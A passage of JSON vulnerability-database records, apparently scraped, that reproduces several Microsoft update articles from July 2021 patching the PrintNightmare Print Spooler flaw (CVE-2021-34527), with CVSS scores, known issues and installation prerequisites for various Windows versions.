"cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:42", "description": "None\n**Important: **Windows 7 and Windows Server 2008 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 7 and Windows Server 2008 R2 update history [home page](<https://support.microsoft.com/help/4009469>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5003667](<https://support.microsoft.com/help/5003667>) (released June 8, 2021) and addresses the following issues:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom **| **Workaround ** \n---|--- \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive the following error:\"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (.Net SqlClient Data Provider)\"| This is expected behavior due to a security hardening change in this update. To resolve this issue, you will need to update to a [supported version of SQL Server](<https://docs.microsoft.com/en-us/lifecycle/products/?terms=sql%20server>). \nAfter installing this update and restarting your device, you might receive the error, \"Failure to configure Windows updates. Reverting Changes. Do not turn off your computer\", and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \"STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\". This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following: \n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the Extended Security Update (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends. Extended support ends as follows:\n\n * For Windows 7 Service Pack 1 and Windows Server 2008 R2 Service Pack 1, extended support ends on January 14, 2020.\n * For Windows Embedded Standard 7, extended support ends on October 13, 2020.\nFor more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Note** For Windows Embedded Standard 7, Windows Management Instrumentation (WMI) must be enabled to get updates from Windows Update or Windows Server Update Services.**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The March 12, 2019 servicing stack update (SSU) ([KB4490628](<https://support.microsoft.com/help/4490628>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released September 10, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. For Windows Thin PC, you must have the August 11, 2020 SSU ([KB4570673](<https://support.microsoft.com/help/4570673>)) or a later SSU installed to make sure you continue to get the extended security updates starting with the October 13, 2020 updates.\n 4. To get this security update, you must reinstall the \"Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4538483](<https://support.microsoft.com/help/4538483>)) or the \"Update for the Extended Security Updates (ESU) Licensing Preparation Package\" ([KB4575903](<https://support.microsoft.com/help/4575903>)) even if you previously installed the ESU key. The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter you install the items above, we strongly recommend that you install the latest SSU ([KB4592510](<https://support.microsoft.com/help/4592510>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004953>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 7 Service Pack 1, Windows Server 2008 R2 Service Pack 1, Windows Embedded Standard 7 Service Pack 1, Windows Embedded POSReady 7, Windows Thin PC**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004953](<https://download.microsoft.com/download/2/6/c/26ceb7c6-ee36-40d8-bd9c-a0cea2d48fdd/5004953.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004953 (Monthly Rollup) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004953", "href": "https://support.microsoft.com/en-us/help/5004953", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:40", "description": "None\n**6/15/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**5/11/21 \nREMINDER **Windows 10, version 1809 reached end of service on May 11, 2021 for devices running the Enterprise, Education, and IoT Enterprise editions. After May 11, 2021, these devices will no longer receive monthly security and quality updates that contain protection from the latest security threats. To continue receiving security and quality updates, Microsoft recommends updating to the latest version of Windows 10.We will continue to service the following editions: Enterprise G, HoloLens, and the LTSC editions for Client, Server, and IoT.\n\n**5/11/21 \nREMINDER **Microsoft removed the Microsoft Edge Legacy desktop application that is out of support in April 2021. In the May 11, 2021 release, we installed the new Microsoft Edge. For more information, see [New Microsoft Edge to replace Microsoft Edge Legacy with April\u2019s Windows 10 Update Tuesday release](<https://aka.ms/EdgeLegacyEOS>).\n\n**11/17/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1809 update history [page](<https://support.microsoft.com/en-us/help/4464619>).\n\n## Highlights\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing [KB4493509](<https://support.microsoft.com/en-us/help/4493509>), devices with some Asian language packs installed may receive the error, \"0x800f0982 - PSFX_E_MATCHING_COMPONENT_NOT_FOUND.\"| \n\n 1. Uninstall and reinstall any recently added language packs. For instructions, see [Manage the input and display language settings in Windows 10](<https://support.microsoft.com/en-us/help/4496404>).\n 2. Select **Check for Updates** and install the April 2019 Cumulative Update. For instructions, see Update Windows 10.\n**Note **If reinstalling the language pack does not mitigate the issue, reset your PC as follows:\n\n 1. Go to the **Settings **app > **Recovery**.\n 2. Select **Get Started** under the **Reset this PC **recovery option.\n 3. Select **Keep my Files**.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing KB5001342 or later, the Cluster Service might fail to start because a Cluster Network Driver is not found.| This issue occurs because of an update to the PnP class drivers used by this service. After about 20 minutes, you should be able to restart your device and not encounter this issue. \nFor more information about the specific errors, cause, and workaround for this issue, please see KB5003571. \nAfter installing updates released April 22, 2021 or later, an issue occurs that affects versions of Windows Server that are in use as a Key Management Services (KMS) host. Client devices running Windows 10 Enterprise LTSC 2019 and Windows 10 Enterprise LTSC 2016 might fail to activate. This issue only occurs when using a new Customer Support Volume License Key (CSVLK). **Note** This does not affect activation of any other version or edition of Windows. Client devices that are attempting to activate and are affected by this issue might receive the error, \"Error: 0xC004F074. The Software Licensing Service reported that the computer could not be activated. No Key Management Service (KMS) could be contacted. Please see the Application Event Log for additional information.\"Event Log entries related to activation are another way to tell that you might be affected by this issue. Open **Event Viewer **on the client device that failed activation and go to **Windows Logs **> **Application**. If you see only event ID 12288 without a corresponding event ID 12289, this means one of the following:\n\n * The KMS client could not reach the KMS host.\n * The KMS host did not respond.\n * The client did not receive the response.\nFor more information on these event IDs, see [Useful KMS client events - Event ID 12288 and Event ID 12289](<https://docs.microsoft.com/windows-server/get-started/activation-troubleshoot-kms-general#event-id-12288-and-event-id-12289>).| This issue is resolved in KB5009616. \n \n## How to get this update\n\n**Before installing this update**Prerequisite:You **must **install the May 11, 2021 servicing stack update (SSU) (KB5003243) or the latest SSU (KB5003711) before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/en-us/help/4535697>).If you are using Windows Update, the latest SSU will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update or Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004947>)website. \nWindows Server Update Services (WSUS)| Yes| You can import this update into WSUS manually. See the [Microsoft Update Catalog](<https://docs.microsoft.com/en-us/windows-server/administration/windows-server-update-services/manage/wsus-and-the-catalog-site#the-microsoft-update-catalog-site>) for instructions. \n**File information **For a list of the files that are provided in this update, download the [file information for cumulative update 5004947](<https://download.microsoft.com/download/5/5/3/553b918f-10d2-4ecb-aa41-3aad1fbfe0c3/5004947.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004947 (OS Build 17763.2029) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004947", "href": "https://support.microsoft.com/en-us/help/5004947", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:47", "description": "None\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010](<https://support.microsoft.com/help/5005010>).\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5003636](<https://support.microsoft.com/help/5003636>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004958>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004958](<https://download.microsoft.com/download/e/e/8/ee826b51-4cff-4102-9abf-cabaab679169/5004958.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004958 (Security-only update) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004958", "href": "https://support.microsoft.com/en-us/help/5004958", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:47", "description": "None\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nWSUS scan cab files will continue to be available for Windows Server 2008 SP2. If you have a subset of devices running this operating system without ESU, they might show as non-compliant in your patch management and compliance toolsets.\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010](<https://support.microsoft.com/help/5005010>).\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive an error, \"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (.Net SqlClient Data Provider)\"| This is expected behavior due to a security hardening change in this update. To resolve this issue, you will need to update to a [supported version of SQL Server](<https://docs.microsoft.com/en-us/lifecycle/products/?terms=sql%20server>). \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the [Extended Security Update (ESU)](<https://www.microsoft.com/en-us/cloud-platform/extended-security-updates>) for on-premises versions of this OS must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information on ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, we strongly recommend that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5003636](<https://support.microsoft.com/help/5003636>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004959>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5004959](<https://download.microsoft.com/download/b/1/7/b172b821-2078-46a7-9d3b-ad57b43bc04a/5004959.csv>).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004959 (Security-only update) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004959", "href": "https://support.microsoft.com/en-us/help/5004959", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:42", "description": "None\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2008 Service Pack 2 update history [home page](<https://support.microsoft.com/help/4343218>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5003661](<https://support.microsoft.com/help/5003661>) (released June 8, 2021) and addresses the following issues:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see [KB5005010.](<https://support.microsoft.com/help/5005010>)\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update or later updates, connections to SQL Server 2005 might fail. You might receive an error, \"Cannot connect to <Server name>, Additional information: A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (.Net SqlClient Data Provider)\"| This is expected behavior due to a security hardening change in this update. To resolve this issue, you will need to update to a [supported version of SQL Server](<https://docs.microsoft.com/en-us/lifecycle/products/?terms=sql%20server>). \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see 